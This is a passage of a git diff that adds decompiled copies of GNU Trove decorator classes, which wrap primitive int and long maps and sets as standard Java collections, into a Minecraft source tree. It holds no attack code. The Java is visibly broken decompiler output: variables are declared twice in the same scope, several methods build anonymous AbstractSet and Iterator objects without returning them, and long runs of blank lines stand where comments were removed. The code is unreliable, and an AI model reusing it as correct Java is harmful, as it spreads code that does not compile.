+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends Long>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends Long> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Object key)
+  {
+    return ((Integer)key).intValue();
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TIntLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntObjectMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntObjectMapDecorator.java
new file mode 100644
index 0000000..b233b34
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntObjectMapDecorator.java
@@ -0,0 +1,353 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntObjectIterator;
+import gnu.trove.map.TIntObjectMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntObjectMapDecorator<V>
+  extends AbstractMap<Integer, V>
+  implements Map<Integer, V>, Externalizable, Cloneable
+{
+  protected TIntObjectMap<V> _map;
+  
+  public TIntObjectMapDecorator() {}
+  
+  public TIntObjectMapDecorator(TIntObjectMap<V> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntObjectMap<V> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public V put(Integer key, V value)
+  {
+    int k;
+    
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else {
+      k = unwrapKey(key);
+    }
+    return _map.put(k, value);
+  }
+  
+
+
+
+  public V get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey((Integer)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.get(k);
+  }
+  
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public V remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey((Integer)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.remove(k);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<Integer, V>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntObjectMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, V>> iterator()
+      {
+        new Iterator() {
+          private final TIntObjectIterator<V> it = _map.iterator();
+          
+          public Map.Entry<Integer, V> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final V v = it.value();
+            new Map.Entry() {
+              private V val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public V getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public V setValue(V value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, V> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, V>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntObjectMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return _map.containsValue(val);
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(((Integer)key).intValue()));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends V> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends V>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends V> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Integer key)
+  {
+    return key.intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TIntObjectMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntSetDecorator.java b/src/minecraft/gnu/trove/decorator/TIntSetDecorator.java
new file mode 100644
index 0000000..b8eda75
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntSetDecorator.java
@@ -0,0 +1,218 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntSetDecorator
+  extends AbstractSet<Integer>
+  implements Set<Integer>, Externalizable
+{
+  protected TIntSet _set;
+  
+  public TIntSetDecorator() {}
+  
+  public TIntSetDecorator(TIntSet set)
+  {
+    _set = set;
+  }
+  
+
+
+
+
+
+  public TIntSet getSet()
+  {
+    return _set;
+  }
+  
+
+
+
+
+
+  public boolean add(Integer value)
+  {
+    return (value != null) && (_set.add(value.intValue()));
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (_set.equals(other))
+      return true;
+    if ((other instanceof Set)) {
+      Set that = (Set)other;
+      if (that.size() != _set.size()) {
+        return false;
+      }
+      Iterator it = that.iterator();
+      for (int i = that.size(); i-- > 0;) {
+        Object val = it.next();
+        if ((val instanceof Integer)) {
+          int v = ((Integer)val).intValue();
+          if (!_set.contains(v))
+          {
+
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _set.clear();
+  }
+  
+
+
+
+
+
+
+  public boolean remove(Object value)
+  {
+    return ((value instanceof Integer)) && (_set.remove(((Integer)value).intValue()));
+  }
+  
+
+
+
+
+
+  public Iterator<Integer> iterator()
+  {
+    new Iterator() {
+      private final TIntIterator it = _set.iterator();
+      
+      public Integer next() {
+        return Integer.valueOf(it.next());
+      }
+      
+      public boolean hasNext() {
+        return it.hasNext();
+      }
+      
+      public void remove() {
+        it.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _set.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _set.size() == 0;
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _set = ((TIntSet)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntShortMapDecorator.java
new file mode 100644
index 0000000..f5b1e6c
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntShortMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntShortIterator;
+import gnu.trove.map.TIntShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntShortMapDecorator
+  extends AbstractMap<Integer, Short>
+  implements Map<Integer, Short>, Externalizable, Cloneable
+{
+  protected TIntShortMap _map;
+  
+  public TIntShortMapDecorator() {}
+  
+  public TIntShortMapDecorator(TIntShortMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntShortMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Short put(Integer key, Short value)
+  {
+    int k;
+    
+
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    short v;
+    short v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    short retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Short get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Short remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Integer, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, Short>> iterator()
+      {
+        new Iterator() {
+          private final TIntShortIterator it = _map.iterator();
+          
+          public Map.Entry<Integer, Short> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Integer, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends Integer, ? extends Short>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Integer, ? extends Short> e = (Map.Entry)it.next();
+      put((Integer)e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapKey(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapKey(Object key)
+  {
+    return ((Integer)key).intValue();
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TIntShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongByteMapDecorator.java
new file mode 100644
index 0000000..e0a0352
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongByteMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongByteIterator;
+import gnu.trove.map.TLongByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongByteMapDecorator
+  extends AbstractMap<Long, Byte>
+  implements Map<Long, Byte>, Externalizable, Cloneable
+{
+  protected TLongByteMap _map;
+  
+  public TLongByteMapDecorator() {}
+  
+  public TLongByteMapDecorator(TLongByteMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongByteMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Byte put(Long key, Byte value)
+  {
+    long k;
+    
+
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    byte v;
+    byte v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    byte retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Byte get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Byte remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Long, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TLongByteIterator it = _map.iterator();
+          
+          public Map.Entry<Long, Byte> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends Byte>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends Byte> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Object key)
+  {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TLongByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongCharMapDecorator.java
new file mode 100644
index 0000000..23cf81f
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongCharMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongCharIterator;
+import gnu.trove.map.TLongCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongCharMapDecorator
+  extends AbstractMap<Long, Character>
+  implements Map<Long, Character>, Externalizable, Cloneable
+{
+  protected TLongCharMap _map;
+  
+  public TLongCharMapDecorator() {}
+  
+  public TLongCharMapDecorator(TLongCharMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongCharMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Character put(Long key, Character value)
+  {
+    long k;
+    
+
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    char v;
+    char v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    char retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Character get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Character remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Long, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, Character>> iterator()
+      {
+        new Iterator() {
+          private final TLongCharIterator it = _map.iterator();
+          
+          public Map.Entry<Long, Character> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends Character>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends Character> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Object key)
+  {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TLongCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongDoubleMapDecorator.java
new file mode 100644
index 0000000..0c04289
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongDoubleMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongDoubleIterator;
+import gnu.trove.map.TLongDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongDoubleMapDecorator
+  extends AbstractMap<Long, Double>
+  implements Map<Long, Double>, Externalizable, Cloneable
+{
+  protected TLongDoubleMap _map;
+  
+  public TLongDoubleMapDecorator() {}
+  
+  public TLongDoubleMapDecorator(TLongDoubleMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongDoubleMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Double put(Long key, Double value)
+  {
+    long k;
+    
+
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    double v;
